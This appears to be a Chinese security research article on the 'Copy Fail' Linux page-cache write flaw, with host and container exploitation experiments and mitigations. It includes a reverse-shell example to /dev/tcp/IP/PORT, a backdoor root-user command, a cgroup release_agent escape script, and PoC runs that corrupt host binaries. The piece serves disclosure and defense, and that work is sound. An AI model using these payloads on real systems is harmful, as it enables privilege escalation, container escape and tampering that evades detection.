CentOS 8 上有 20+ 系统守护进程(sshd、crond、dockerd、dbus-daemon 等)持有libnss_files.so的 mmap 引用,drop_caches无法驱逐——修改在系统运行期间半永久存在,恢复需要yum reinstall glibc-common。
风险修改核心系统库(如
libc.so)的代码段虽然理论上可实现任意代码执行(所有调用目标函数的 root daemon 立即受影响),但存在极高的系统崩溃风险。上述实验仅修改了.rodata段中的字符串作为安全验证。
/etc/profile在所有 Linux 发行版上均为 0644 且被每个登录 shell 自动 source(SSH 登录、su -、控制台登录)。
原理:利用注释行中的#作为掩护——覆盖注释文本为命令,原始文本被#注释掉,不影响文件其余功能:
# 原始: # It's NOT a good idea to change this file unless you know what you# 注入: id>>/tmp/CF-PWNED #ea to change this file unless you know what you# ↑ 命令部分 ↑ '#' 注释掉剩余文本, 不影响后续行python3 exp_profile_inject.py "id>>/tmp/CF-PWNED #"# [*] Payload: 20 bytes, 5 writes# [+] SUCCESS: command injected into /etc/profile# 触发: root 执行登录 shellsu - root -c "echo triggered"cat /tmp/CF-PWNED# uid=0(root) gid=0(root) groups=0(root) ✅仅 5 次写入(20 字节)即可完成注入。通用性极强——所有发行版均有/etc/profile,且包含注释行。实际攻击场景中可注入反弹 shell(bash -i>&/dev/tcp/IP/PORT 0>&1 #)或后门用户创建命令(useradd -o -u0 backdoor #)。
Cron 定时任务和 systemd 服务引用的脚本或二进制文件(通常为 0755 世界可读),是完全被动的利用目标——攻击者篡改后只需等待 daemon 下次调度执行。
# 环境准备: cron job 每分钟执行 /tmp/copyfail-lab/cron_target.sh# 脚本内容: echo "ORIGINAL $(date +%s)" >> cron.log# 篡改脚本 page cachepython3 exp_cron_script.py /tmp/copyfail-lab/cron_target.sh# [+] SUCCESS: script tampered in page cache ("ORIGINAL" → "HIJACKED")# 下一次 cron 触发 (≤ 1 分钟):tail /tmp/copyfail-lab/cron.log# HIJACKED 1778309461 ← crond 执行了被篡改的脚本 ✅crond 在每次触发时重新读取脚本文件内容,天然获取 page cache 中的篡改数据。systemd 引用的服务脚本同理。
配置文件 vs 脚本文件直接修改 cron配置文件(
/etc/cron.d/)或 systemdunit 文件(.service)的 page cache 在实验中也验证了技术可行性,但在实战中不可行:cronie 使用 inotify 检测配置变化——page cache 修改不触发 inotify,需要crond重启才能读取变更;systemd unit 文件的修改同样需要systemctl daemon-reload或服务重启才生效。低权限攻击者无法控制这些 daemon 操作。因此,可行的攻击路径仅限于篡改已有任务引用的脚本/二进制文件。
/etc/ld.so.preload列出的共享库被动态链接器在每个程序启动时优先加载。修改其中的库路径即可实现全局代码注入。
# 前提: 系统已有 /etc/ld.so.preload (用于性能监控等)cat /etc/ld.so.preload# /tmp/copyfail-lab/libmarker.sopython3 exp_preload_hijack.py# [+] SUCCESS: preload path hijacked# /tmp/copyfail-lab/libmarker.so → /tmp/copyfail-lab/libevil00.sols /dev/null# [preload] EVIL LIBRARY LOADED! ← 恶意库被每个新进程加载# /dev/null前提条件:目标系统必须已存在/etc/ld.so.preload(Copy Fail 无法创建新文件,只能修改已有文件的页缓存)。该文件默认不存在,但在使用 jemalloc 预加载、LD_PRELOAD 安全 agent、性能监控等场景中常见。
六、容器场景深度研究
前面梳理了页缓存覆写在宿主机上的多条提权路径。但在容器化基础设施中,这类漏洞的威胁还要更进一步:Page Cache 是一个跨越容器隔离边界的全局共享状态。
漏洞披露后,多个安全团队迅速关注了容器/K8s 场景:Juliet验证了 PSS Restricted 和 RuntimeDefault 均不阻止 AF_ALG,Stream Security在生产级 EKS 集群上完成了端到端验证,Percivalll给出了通过篡改特权 DaemonSet 共享层实现 Pod→Node 逃逸的完整 PoC(已在 ACK / EKS / GKE 上验证)。本节在这些工作基础上,通过独立实验进一步验证和扩展容器场景的攻击可行性边界。
所有结论均在真实 Kubernetes 集群(k3sv1.32 + containerd v2.0.5,CentOS Stream 8 未修补内核 4.18.0-553)上通过实验验证。
容器实验代码本节涉及的 Pod YAML、PoC 脚本和验证工具:https://gist.github.com/0xlane/d89e230c9e18bfd8cc126452352afae6
容器运行时(containerd、Docker)使用 overlayfs 管理容器的文件系统。对于同一个 base image(如python:3.11-slim),其镜像层在宿主机上只存储一份。所有使用该镜像的容器,其 lower layer 指向同一组 inode。
这意味着:当容器 A 通过read()读取/usr/bin/python3时,内核为该 inode 建立 page cache 条目;当容器 B 随后读取同一文件时,命中的是完全相同的 page cache 页面。
需要强调的一个前提:page cache 是内核级全局缓存,但其作用域是单机的——只有位于同一节点上的容器,才可能通过 overlayfs layer 共享指向同一组 inode,进而共享 page cache。跨节点的容器即使使用完全相同的镜像,其 page cache 也是各自独立的。这一"同节点"限制是后续所有跨容器攻击场景的根本前提。

部署实验环境并验证 inode 共享:
# 部署两个使用相同 base image 的 Podkubectl create ns copyfail-labkubectl apply -f pod-cross-tenant.yaml # 见 Gist# 验证两个 Pod 共享同一 /etc/os-release inodekubectl exec -n copyfail-lab pod-attacker -- stat -c '%i' /etc/os-release# 208483846kubectl exec -n copyfail-lab pod-victim-same -- stat -c '%i' /etc/os-release# 208483846 ← 相同 inode = 共享 page cache在攻击者 Pod 中执行 page cache 写入:
# 攻击者 Pod 中执行 PoCkubectl exec -n copyfail-lab pod-attacker -- python3 /poc_marker.py /etc/os-release# [*] Target: /etc/os-release# [*] Before: 50524554# [*] After: deadbeef# [+] SUCCESS: page cache corrupted! first 4 bytes = deadbeef# 受害者 Pod (同 base image) — 立即看到被篡改的内容kubectl exec -n copyfail-lab pod-victim-same -- \ python3 -c "import os; print(os.pread(os.open('/etc/os-release',0),16,0).hex())"# deadbeef54595f4e414d453d22446562# [+] MARKER FOUND: page cache is SHARED with attacker pod!# 对照组 (不同 base image) — 不受影响kubectl exec -n copyfail-lab pod-victim-alpine -- head -c 16 /etc/os-release | xxd# 00000000: 4e41 4d45 3d22 416c 7069 6e65 NAME="Alpine宿主机直接读取 containerd snapshot 目录中的对应文件,同样看到被篡改的数据:
# 宿主机读取 snapshot 层文件head -c 16 /var/lib/containerd/.../snapshots/<id>/fs/etc/os-release | xxd# 00000000: dead beef 5459 5f4e 414d 453d 2244 6562 ....TY_NAME="Deb# drop_caches 恢复echo 3 > /proc/sys/vm/drop_cacheshead -c 16 /var/lib/containerd/.../snapshots/<id>/fs/etc/os-release | xxd# 00000000: 5052 4554 5459 5f4e 414d 453d 2244 6562 PRETTY_NAME="Deb基于上述共享机制,验证零特权跨租户攻击——攻击者和受害者在完全隔离的不同 namespace 中:
# 创建两个完全隔离的 namespacekubectl create ns copyfail-lab # 攻击者kubectl create ns tenant-victim # 受害者# 部署 Pod (见 Gist: pod-cross-tenant.yaml)kubectl apply -f pod-cross-tenant.yaml前提验证 — 确认 inode 共享:
# 两个不同 namespace 的 Pod, 相同 base image → 相同 inodekubectl exec -n copyfail-lab pod-attacker -- stat -c '%i' /bin/cat# 1420102kubectl exec -n tenant-victim victim-app -- stat -c '%i' /bin/cat# 1420102 ← 相同! 即使在不同 namespace攻击执行:
# Step 1: 确认受害者 /bin/cat 正常kubectl exec -n tenant-victim victim-app -- \ python3 -c "import os; print(os.pread(os.open('/bin/cat',0),16,0).hex())"# 7f454c46020101000000000000000000 (正常 ELF header)# Step 2: 攻击者执行 Copy Fail (无任何特权!)kubectl exec -n copyfail-lab pod-attacker -- python3 /poc_marker.py /bin/cat# [*] Before: 7f454c46# [*] After: deadbeef# [+] SUCCESS: page cache corrupted! first 4 bytes = deadbeef# Step 3: 受害者立即受到影响kubectl exec -n tenant-victim victim-app -- \ python3 -c "import os; print(os.pread(os.open('/bin/cat',0),16,0).hex())"# deadbeef020101000000000000000000# ↑ ELF magic 被破坏!# Step 4: 受害者服务中断kubectl exec -n tenant-victim victim-app -- cat /etc/hostname# exec /usr/bin/cat: exec format error ← 二进制无法执行# Step 5: 恢复 (宿主机执行)echo 3 > /proc/sys/vm/drop_cacheskubectl exec -n tenant-victim victim-app -- cat /etc/hostname# victim-app ← 恢复正常关键结论:这一攻击不需要任何特殊的 capability、hostPath 挂载或安全配置放宽。唯一的前提是内核未修补且容器中可以执行 Python(或等价的 C 程序)。两个 Pod 之间无需网络连通性、不需要知道对方的 IP 或名称。
上述实验中篡改的是普通用户 Pod 中的文件,影响局限于"跨租户 DoS"。但一个自然的问题是:能否通过同样的方式实现容器逃逸——从一个零特权 Pod 获取节点级控制?
答案的关键在于攻击目标的选择。回顾 6.1 节的分析,page cache 篡改有两个前提:
① 攻击者与目标容器位于同一节点;
② 两者共享至少一个 image layer。如果目标容器以privileged: true运行,那么当被篡改的二进制在其中执行时,攻击者的 payload 就拥有了完整的节点权限。
什么样的特权容器比较容易同时满足"特权"和"同节点"两个条件?DaemonSet是一个天然的候选。DaemonSet 的定义就是在集群每个节点上各运行一个 Pod 副本——无论受陷 Pod 被调度到哪个节点,该节点上必然存在 DaemonSet 实例。而 Kubernetes 集群中恰好有不少以privileged: true运行的系统级 DaemonSet(如 kube-proxy、CNI 插件、日志收集器等),它们同时满足两项条件。
我猜测Percivalll也是基于类似的逻辑选择了 kube-proxy 作为攻击目标。kube-proxy 在主流云厂商的托管集群(Alibaba Cloud ACK、Amazon EKS、Google GKE)中均以privileged: trueDaemonSet 运行,满足上述所有条件。其 PoC 通过篡改 kube-proxy 容器中ipset二进制的 page cache,在 kube-proxy 下次调用该工具时实现节点代码执行(已在三大云平台验证)。为简化验证流程,PoC 将攻击者镜像构建为FROM registry.k8s.io/kube-proxy:v1.35.2,从而确定性地与 kube-proxy 共享包含ipset的 image layer。
PoC 中FROM目标镜像的做法是为了确定性地复现漏洞利用。如果要评估真实环境中的暴露面——即一个普通业务 Pod 是否天然与同节点的特权 DaemonSet 共享 image layer——可以在节点上进行如下分析:
# 1. 列出节点上所有 privileged 容器及其镜像crictl ps -o json | jq -r '.containers[] | "\(.id) \(.image.image) \(.metadata.name)"'# 2. 对比业务 Pod 镜像与目标 DaemonSet 镜像的 layer digestMY_IMAGE="python:3.11-slim"TARGET_IMAGE="registry.k8s.io/kube-proxy:v1.35.2"crictl inspecti $MY_IMAGE | jq -r '.info.imageSpec.rootfs.diff_ids[]' > /tmp/my_layers.txtcrictl inspecti $TARGET_IMAGE | jq -r '.info.imageSpec.rootfs.diff_ids[]' > /tmp/target_layers.txtcomm -12 <(sort /tmp/my_layers.txt) <(sort /tmp/target_layers.txt)# 有输出 → 存在共享层# 3. 确认目标文件的 inode 是否真的被两个容器共享# (在两个容器内分别执行)stat -c '%d:%i' /usr/sbin/ipset # 设备号:inode号# 两个容器输出相同 → page cache 共享确认如果共享的是基础库(如ld-linux-x86-64.so.2、libc.so.6),理论上攻击面更大——任何二进制执行时都会加载这些库,无需等待特定二进制被调用。但实际操作中,替换整个.so文件需要对每个 4 字节窗口逐一覆写,耗时较长;且覆写过程中如果有进程正在加载该.so,极易导致进程崩溃。
核心共享库被大量进程依赖,这一问题尤为突出——篡改libc.so.6的结果大概率是节点上的容器大面积崩溃(DoS),而非稳定获取代码执行权限。
上述分析需要节点级权限(crictl、直接访问 containerd 存储)。而在真实攻击场景中,攻击者通过 RCE 拿到的只是一个普通 Pod 的 shell——无法直接查看同节点上还运行着哪些容器、它们使用了哪些镜像、layer digest 是否一致。这意味着攻击者无法在目标环境中直接完成上述分析,只能进行推测和盲目尝试。
但盲目在目标环境中逐个文件尝试 Copy Fail 并不明智——每次 4 字节覆写都是不可逆的(除非管理员主动 drop cache),一旦猜错目标文件或层共享关系不成立,只会在受陷容器自身留下损坏的二进制。轻则暴露攻击痕迹,重则直接导致容器崩溃、丢失已获取的立足点——本质上是一种两败俱伤的做法。
因此,预测该漏洞在容器场景中更现实的利用方式是针对特定业务环境的定向攻击:攻击者通过已入侵容器中运行的业务即可识别出该业务是什么应用(Web 框架、中间件版本、base image 类型等)。
如果该业务使用的是通用的公开镜像或常见技术栈,攻击者可以在本地复现相同的部署环境(相同镜像 + 相同 K8s 发行版),进行白盒分析——寻找特权容器、确认 layer 共享关系、定位可利用的共享文件、调试 payload——然后带着确定性的利用方案回到目标环境中一次性执行。
上一节讨论的是"跨容器"提权——通过篡改特权 DaemonSet 中的二进制间接获取节点权限。但这依赖于层共享和目标容器的后续执行。一个更激进的问题是:能否跳过中间容器,直接让宿主机进程执行被篡改的 page cache 数据?
Copy Fail 能篡改任意文件的 page cache,但仅篡改数据是不够的——还需要宿主机上的进程在其自身的特权上下文中加载并执行这些被篡改的数据。单纯的read()不构成逃逸;只有当读取的数据被作为代码执行(如execve()、dlopen()、解析后跳转)时,才能转化为代码执行。
但首先需要回答一个更基本的问题:如果宿主机进程确实访问了某个文件,它加载的是磁盘上的原始内容还是 page cache 中被篡改的数据?
答案是后者。Page cache 是内核为所有文件 I/O 设置的全局透明缓存层。无论是read()还是execve(),内核加载文件内容的路径都经过 page cache(通过filemap_read/ readahead)。如果某个 inode 对应的页面已在 page cache 中,内核直接返回缓存数据,不会重新读取磁盘——这一行为与访问者处于哪个 namespace 无关。
Section 6.1 中的实验提供了直接证据。容器内通过 Copy Fail 篡改/etc/os-release的 page cache 后:
# 宿主机通过 snapshot 路径读取同一 inode — 读到篡改后的数据head -c 16 /var/lib/containerd/.../snapshots/<id>/fs/etc/os-release | xxd# 00000000: dead beef 5459 5f4e 414d 453d 2244 6562 ....TY_NAME="Deb# drop_caches 强制驱逐 page cache — 内核从磁盘重新加载echo 3 > /proc/sys/vm/drop_cacheshead -c 16 /var/lib/containerd/.../snapshots/<id>/fs/etc/os-release | xxd# 00000000: 5052 4554 5459 5f4e 414d 453d 2244 6562 PRETTY_NAME="Debdrop_caches 前后的对比清楚地表明:宿主机读取到的是 page cache 内容而非磁盘数据。对于execve()也是同样的机制——后续 Section 6.4 中的 hostPath 实验将直接验证这一点:容器篡改/usr/bin/ls的 page cache 后,宿主机执行ls返回exit 126(exec format error),证明内核在execve()时同样从 page cache 加载了被篡改的 ELF header,而非从磁盘读取原始文件。
因此,page cache 篡改对宿主机确实是全局可见的,对read()和execve()同样生效。真正的问题在于:在标准容器运行流程中,宿主机进程是否会主动访问容器 snapshot 层中的文件 inode?可以想到两类候选场景:
execve()或dlopen()snapshot 层中的文件?.so、或解释执行其脚本?针对场景 1,通过bpftrace追踪容器启动时 runc 和 containerd 的行为:
# 追踪 runc init 进程读取文件时的 mount namespacebpftrace -e 'kprobe:vfs_read /comm =="runc:[2:INIT]"/ {$task = (struct task_struct *)curtask;$mntns =$task->nsproxy->mnt_ns->ns.inum; printf("runc-init vfs_read mntns=%u file=%s\n",$mntns, str(((struct file *)arg0)->f_path.dentry->d_name.name));}' &# 触发容器创建kubectl run test-probe --image=python:3.11-slim --restart=Never-- sleep 10# 输出:# runc-init vfs_read mntns=4026533841 file=passwd# runc-init vfs_read mntns=4026533841 file=group# ↑ mntns ≠ 宿主机(4026531840), 说明已在容器 namespace 内# 追踪 containerd 进程的 vfs_readbpftrace -e 'kprobe:vfs_read /comm == "containerd"/ { printf("containerd vfs_read: %s\n", str(((struct file *)arg0)->f_path.dentry->d_name.name));}' -- 60 # 监控 60 秒, 期间创建/删除容器# 结果: 仅看到 config.json, meta.db 等元数据文件# 从未读取 snapshot 层的 /bin/*, /etc/* 等文件内容containerd 自身的追踪结果也印证了这一点——它只操作元数据(config.json、meta.db),不会读取更不会执行 snapshot 层中的用户文件。
对于场景 2(宿主机工具),这不属于通用场景——是否存在这类行为取决于具体业务环境中节点上部署了什么软件,不具备普遍性,因此不在此做针对性测试。但也不排除某些特定环境下存在宿主机进程会执行容器层文件的情况。
结论:在标准 Kubernetes (containerd) 环境下,通用的零特权容器→宿主机直接逃逸在架构层面不可行。容器运行时的设计确保了:runc 对容器 rootfs 的操作发生在已切换的 mount namespace 中,containerd 不接触 snapshot 层的用户数据。但如果节点上存在非标准的宿主机服务会从容器层路径加载并执行文件,则可能构成特定环境下的逃逸向量。Docker 环境存在架构层面的差异,将在 Section 6.5 中单独讨论。
虽然零特权逃逸不可行,但如果容器拥有某些特权配置,Copy Fail 就能作为关键的"最后一块拼图"实现容器逃逸。以下是对多种特权配置的系统性验证:
Kubernetes 中hostPathvolume 常被配置为readOnly: true以限制容器对宿主机文件的修改。但 Copy Fail 通过 page cache 绕过了这一限制:
# Pod 配置 (见 Gist: pod-hostpath-escape.yaml)volumes:-name:host-binhostPath:path:/usr/bintype:DirectoryvolumeMounts:-name:host-binmountPath:/hostbinreadOnly:true # ← 看似安全# 确认 mount 确实是只读kubectl exec -n copyfail-lab hostpath-test -- mount | grep hostbin# /dev/mapper/cl-root on /hostbin type xfs (ro,relatime,...)# 常规写入被拒绝kubectl exec -n copyfail-lab hostpath-test -- touch /hostbin/test# touch: cannot touch '/hostbin/test': Read-only file system# Copy Fail 绕过只读限制!kubectl exec -n copyfail-lab hostpath-test -- python3 /poc_marker.py /hostbin/ls# [*] Before: 7f454c46# [*] After: deadbeef# [+] SUCCESS: page cache corrupted!# 宿主机验证ls# bash: /usr/bin/ls: cannot execute binary file: Exec format error# Exit code: 126这是 Copy Fail 最独特的价值:将 O_RDONLY 文件描述符变为可写攻击面。传统认知中,readOnly mount 至少能防止文件被篡改——Copy Fail 打破了这个假设。
CAP_DAC_READ_SEARCHcapability 允许进程绕过文件和目录的读权限检查。经典的 Shocker 攻击利用open_by_handle_at()系统调用配合这个 capability 获取宿主机文件系统的 fd。但 Shocker 原本只能读取宿主机文件。
结合 Copy Fail,攻击链变为:
# 部署带 CAP_DAC_READ_SEARCH 的容器kubectl apply -f -<<EOFapiVersion:v1kind:Podmetadata:name:shocker-testnamespace:copyfail-labspec:containers:-name:testimage:python:3.11-slimcommand: ["sleep", "infinity"]securityContext:capabilities:add: ["DAC_READ_SEARCH"]EOF攻击过程(容器内执行 Python):
kubectl exec -n copyfail-lab shocker-test -- python3 -c "import os, struct, ctypes# 1. Shocker: open_by_handle_at() 获取宿主机根目录 fdlibc = ctypes.CDLL('libc.so.6', use_errno=True)# ... (构造 root inode handle, 调用 open_by_handle_at)# 2. openat() 打开宿主机 /usr/bin/cat (只读即可)# 3. Copy Fail 篡改 page cache"# 实验输出:# [1] Host root fd: 4# [+] Host / contents: ['.autorelabel', 'bin', 'boot', 'dev', 'etc', ...]# [2] Host /usr/bin/cat fd: 7# [3] Before: 7f454c46020101000000000000000000# [4] After: deadbeef020101000000000000000000# [+] SUCCESS: Host /usr/bin/cat corrupted via Shocker + Copy Fail!# 部署带 CAP_SYS_ADMIN 的容器kubectl apply -f -<<EOFapiVersion:v1kind:Podmetadata:name:sysadmin-testnamespace:copyfail-labspec:containers:-name:testimage:python:3.11-slimcommand: ["sleep", "infinity"]securityContext:capabilities:add: ["SYS_ADMIN"]EOF容器内利用 cgroup v1 release_agent:
kubectl exec -n copyfail-lab sysadmin-test -- bash -c '# 挂载 cgroup 子系统mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrpmkdir /tmp/cgrp/x# 确认 release_agent 可写echo 1 > /tmp/cgrp/x/notify_on_release# 设置 release_agent 为容器 upperdir 中的脚本路径host_path=$(sed -n "s/.*upperdir=\([^,]*\).*/\1/p" /proc/self/mountinfo)echo "$host_path/cmd" > /tmp/cgrp/release_agent# 写入逃逸命令echo "#!/bin/sh" > /cmdecho "id > /tmp/cgrp/output; hostname >> /tmp/cgrp/output" >> /cmdchmod +x /cmd# 触发echo $$ > /tmp/cgrp/x/cgroup.procssleep 1 && echo 0 > /tmp/cgrp/x/cgroup.procssleep 1 && cat /tmp/cgrp/output'# uid=0(root) gid=0(root) groups=0(root)# your-hostname# ↑ 宿主机以 root 执行了命令当容器共享宿主机 PID namespace 并拥有CAP_SYS_PTRACE时,可以通过/proc/1/root/访问宿主机的文件系统根目录。结合 Copy Fail 的 page cache 写入,可以篡改宿主机文件。
# 通过 /proc/1/root/ 获取宿主机文件 fd,然后 Copy Fail 篡改kubectl exec -n copyfail-lab hostpid-test -- python3 -c "import osfd = os.open('/proc/1/root/usr/bin/cat', os.O_RDONLY)# ... page_cache_write_4bytes(fd, 0, b'\xde\xad\xbe\xef')"
前面的分析以 Kubernetes (containerd) 环境为主。Docker 环境在底层机制上完全相同——相同的 overlayfs layer 共享、相同的 page cache 全局性——因此跨容器 page cache 共享、只读 volume 绕过(-v path:ro)、Shocker 升级(--cap-add DAC_READ_SEARCH)等攻击路径在Docker环境也成立.
我也在 Docker 26.1.3 (overlay2, xfs) 环境上验证过,效果与 K8s 一致(将kubectl exec替换为docker exec、readOnly: true替换为-v path:ro即可复现)。本节不再重复这些共通结论,聚焦 Docker 独有的架构差异。
Section 6.3 中验证了 K8s 环境下 containerd 仅遍历目录元数据、不读取 snapshot 层文件数据。Docker 的dockerd则不同——作为单体守护进程,docker export、docker commit、docker cp等管理 API 会以宿主机权限读取容器 overlay 文件系统的完整文件内容。如果 page cache 已被篡改,这些操作读取到的就是篡改后的数据。
需要先指出:这一行为并非 Copy Fail 独有。直接在容器内写文件也能修改内容,docker commit/export同样会包含修改。Copy Fail 的真正独特价值将在下一节"隐蔽性"中展开。
docker exportvsdocker commit:持久化差异两者对 Copy Fail 篡改的处理截然不同。
docker export— 持久化。它将容器的整个文件系统平铺写入 tar 文件,逐一读取所有文件内容。page cache 中的篡改数据被写入 tar 后就永久固化,脱离 page cache 生命周期:
docker run -d --name copyfail-test python:3.11-slim sleep infinitydocker cp poc_marker.py copyfail-test:/poc_marker.pydocker exec copyfail-test python3 /poc_marker.py /usr/lib/os-release# [+] SUCCESS: page cache corrupted! first 4 bytes = deadbeef# page cache 被篡改期间导出 — 篡改数据固化到 tardocker export copyfail-test > tainted.tartar xf tainted.tar --to-stdout usr/lib/os-release | head -c 20 | xxd# 00000000: dead beef 5459 5f4e 414d 453d 2244 6562 ....TY_NAME="Deb# drop_caches 后重新导出 — 新的 tar 恢复原始数据echo 3 > /proc/sys/vm/drop_cachesdocker export copyfail-test > clean.tartar xf clean.tar --to-stdout usr/lib/os-release | head -c 20 | xxd# 00000000: 5052 4554 5459 5f4e 414d 453d 2244 6562 PRETTY_NAME="Deb# 关键: 即使 page cache 已被清除, 第一个 tar 中的篡改数据永久存在tar xf tainted.tar --to-stdout usr/lib/os-release | head -c 20 | xxd# 00000000: dead beef 5459 5f4e 414d 453d 2244 6562 ....TY_NAME="Deb ← 永久固化如果这个 tar 被用于docker import构建新镜像或分发到其他环境,篡改就完成了供应链传播。
docker commit— 不持久化。它创建新的镜像层,但只记录 upper layer 的变更;lower layer 以引用方式共享,文件数据不会被复制到新层。因此 committed 镜像中的 lower layer 文件仍然从 page cache(或磁盘)动态读取:
# 重新篡改 page cachedocker exec copyfail-test python3 /poc_marker.py /usr/lib/os-release# commit 并从新镜像启动 — 读到篡改数据(来自 page cache)docker commit copyfail-test copyfail-committed:testdocker run --rm copyfail-committed:test head -c 20 /usr/lib/os-release | xxd# 00000000: dead beef 5459 5f4e 414d 453d 2244 6562 ....TY_NAME="Deb# drop_caches 后再启动 — 读到原始数据(从磁盘重新加载)echo 3 > /proc/sys/vm/drop_cachesdocker run --rm copyfail-committed:test head -c 20 /usr/lib/os-release | xxd# 00000000: 5052 4554 5459 5f4e 414d 453d 2244 6562 PRETTY_NAME="Deb前面展示了docker export可以持久化篡改数据,但直接在容器内写文件再 export 也能达到同样效果。Copy Fail 的独特价值在于:篡改发生在 lower layer 的 page cache 中,不触发 overlayfs 的 Copy-on-Write,使得 Docker 的多层检测机制全部失效。
1.docker diff不可见
docker diff copyfail-test# A /poc_marker.py ← 只显示 upper layer 变更# C /usr/local/lib/... ← Python 缓存文件# ← /usr/lib/os-release 未出现!docker diff只检查 upper layer 变更。直接写文件会触发 CoW 写入 upper layer →docker diff立即显示;Copy Fail 修改 page cache →docker diff无感知。
2. overlay2 layer 磁盘路径同样被"污染"
LAYER=$(docker inspect copyfail-test --format '{{.GraphDriver.Data.LowerDir}}' \ | tr ':' '\n' | xargs -I{} sh -c 'test -f {}/usr/lib/os-release && echo {}' | head -1)head -c 16 "$LAYER/usr/lib/os-release" | xxd -p# deadbeef54595f4e414d453d22446562 ← 宿主机读 layer 路径 = 读 page cacheecho 3 > /proc/sys/vm/drop_cacheshead -c 16 "$LAYER/usr/lib/os-release" | xxd -p# 5052455454595f4e414d453d22446562 ← drop_caches 后才能看到原始数据layer 路径上的文件和容器内的文件共享同一 inode → 都经过 page cache。宿主机上任何通过内核文件系统读取的工具(sha256sum、cat、文件完整性检查)在 page cache 被篡改期间都会读到篡改后的数据,无法区分"真实磁盘内容"和"被篡改的 page cache"。
3. Image layer digest 不变
唯一不受影响的是 image layer 的压缩 blob(docker image inspect中的RootFS.Layersdigest)——这些是独立的 tar.gz 文件,与 overlay2 中解压出的文件是不同 inode。镜像扫描工具(Trivy、Snyk 等)通常基于这些 layer blob 进行分析,因此扫描原始镜像不会检测到 Copy Fail 篡改。

Copy Fail 在此场景的价值不在于"能做到什么"(直接写文件也能做到),而在于"做了什么而不被发现"——docker diff不报告、layer digest 不变、镜像扫描不触发,但docker export已经将篡改数据持久化并分发出去。
七、防御缓解
Copy Fail 的根本修复是升级内核(7.1)。如果无法立即升级,可通过禁用漏洞模块(7.2)进行临时缓解。在此基础上,容器环境建议额外部署 seccomp 策略阻止 AF_ALG socket 创建(7.3)。
需要注意的是,旧版 Docker 默认 seccomp、KubernetesRuntimeDefault、SELinux targeted 策略以及 sysctl 参数均不能防御此漏洞。SELinux 虽然可以通过自定义策略模块(编写.te文件拒绝alg_socket类)系统级阻止 AF_ALG socket 创建,对裸机、VM 和容器环境均有效,但需要针对每个 SELinux domain 编写规则,部署和维护复杂度远高于 seccomp 或模块禁用方案。
唯一彻底的解决方案是升级到包含修复补丁a664bf3d603d的内核版本。截至 2026 年 5 月,各主流发行版的修复状态如下:

受影响的内核版本范围
根据Alpine Security Tracker,受影响的精确版本范围:
4.14 ≤ kernel < 5.10.254 5.11 ≤ kernel < 5.15.204 5.16 ≤ kernel < 6.1.170 6.2 ≤ kernel < 6.6.137 6.7 ≤ kernel < 6.12.85 6.13 ≤ kernel < 6.18.22 6.19 ≤ kernel < 6.19.12
检查当前系统是否受影响:
# 1. 检查内核版本是否在受影响范围uname -r# 2. 检查 algif_aead 是可加载模块还是内建模块# 有输出 → 可加载模块; 无输出 → 内建模块modinfo algif_aead 2>/dev/null && echo "==> LOADABLE module" || echo "==> BUILT-IN or not present"# 3. 检查是否已有缓解措施# Debian/Ubuntu: kmod 缓解grep -r algif_aead /etc/modprobe.d/ 2>/dev/null# RHEL/CentOS: initcall_blacklistcat /proc/cmdline | grep -o 'initcall_blacklist=[^ ]*'各发行版的系统更新命令:
# Debian/Ubuntu:sudo apt update && sudo apt upgrade# Alpine:apk update && apk upgrade# Arch:pacman -Syu# SUSE:zypper update# RHEL/CentOS:sudo dnf update kernel && reboot# Fedora:sudo dnf upgrade --refresh && rebootCISA KEV此漏洞已于 2026-05-01 被CISA 加入 KEV 目录,截止修复日期为 2026-05-15。
如果无法立即升级内核,可以通过禁用algif_aead模块进行临时缓解。不同发行版对该模块的编译方式决定了缓解方法:

可加载模块的发行版(Ubuntu / Debian / Alpine / Arch / SUSE):
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif_aead.confsudo rmmod algif_aead 2>/dev/null || sudo rebootUbuntu 的kmod包安全更新会自动创建上述文件。
内建模块的发行版(RHEL / CentOS / Oracle Linux / Fedora / Amazon Linux):
对于内建模块,rmmod和/etc/modprobe.d/blacklist完全无效:
grep CRYPTO_USER_API_AEAD /boot/config-$(uname -r)# CONFIG_CRYPTO_USER_API_AEAD=y ← 内建! 非模块rmmod algif_aead 2>&1# rmmod: ERROR: Module algif_aead is builtin.必须使用initcall_blacklist内核启动参数:
# 禁用 algif_aead 初始化grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"reboot# 更激进的方式: 禁用整个 AF_ALG 接口grubby --update-kernel=ALL --args="initcall_blacklist=af_alg_init"reboot验证缓解生效(所有发行版通用):
python3 -c "import socket; socket.socket(38,5,0)" 2>&1# 预期: OSError: [Errno 97] Address family not supported by protocol# 或: OSError: [Errno 93] Protocol not supported注意事项
以上缓解可能影响使用内核硬件加速加密的应用(如 OpenSSL 的 afalgengine、IPsec 的xfrm)。大多数应用会自动 fallback 到用户空间加密实现,影响极小。- KernelCare 用户
(CloudLinux): kcarectl --update即可应用 live patch,无需重启。验证:kcarectl --patch-info | grep -i "copy.fail\|algif_aead\|CVE-2026-31431"。
如果宿主机内核已升级至修复版本(7.1)或已禁用漏洞模块(7.2),漏洞已从根源消除,以下容器层面的缓解不是必须的。但作为纵深防御,仍建议部署 Seccomp 策略阻止AF_ALGsocket——这一接口在容器中几乎没有合法使用场景,阻止它不仅防御 Copy Fail,也能降低内核加密子系统未来出现新漏洞时的攻击面。
默认安全机制不防御
旧版 Docker(< 29.4.2)默认 seccomp profile、Kubernetes
RuntimeDefault、SELinux targeted 策略均允许socket(AF_ALG)和splice()调用,无法阻止漏洞利用。
Docker ≥ 29.4.2已更新默认 seccomp profile(https://github.com/moby/moby/pull/52494)阻止AF_ALGsocket 创建。对于 Docker 用户,升级是最简单的防御方案,无需任何额外配置:
docker --version# Docker version 29.4.3 或更高 → 已内置防御# 验证docker run --rm python:3.11-slim python3 -c "import sockettry: socket.socket(38, 5, 0) print('[!] FAIL — AF_ALG not blocked')except OSError as e: print(f'[+] AF_ALG blocked: {e}')"Docker 29.4.2 回归问题
29.4.2 通过 seccomp 阻止socketcall(2)来防御 AF_ALG,但这破坏了 32 位程序和 i386 镜像(SteamCMD、Wine 等)。29.4.3(2026-05-06)修复了这一回归:改用 Docker 自有的 AppArmor/SELinux容器策略在 LSM 层阻止 AF_ALG,不影响 32 位程序。建议直接升级到 ≥ 29.4.3。
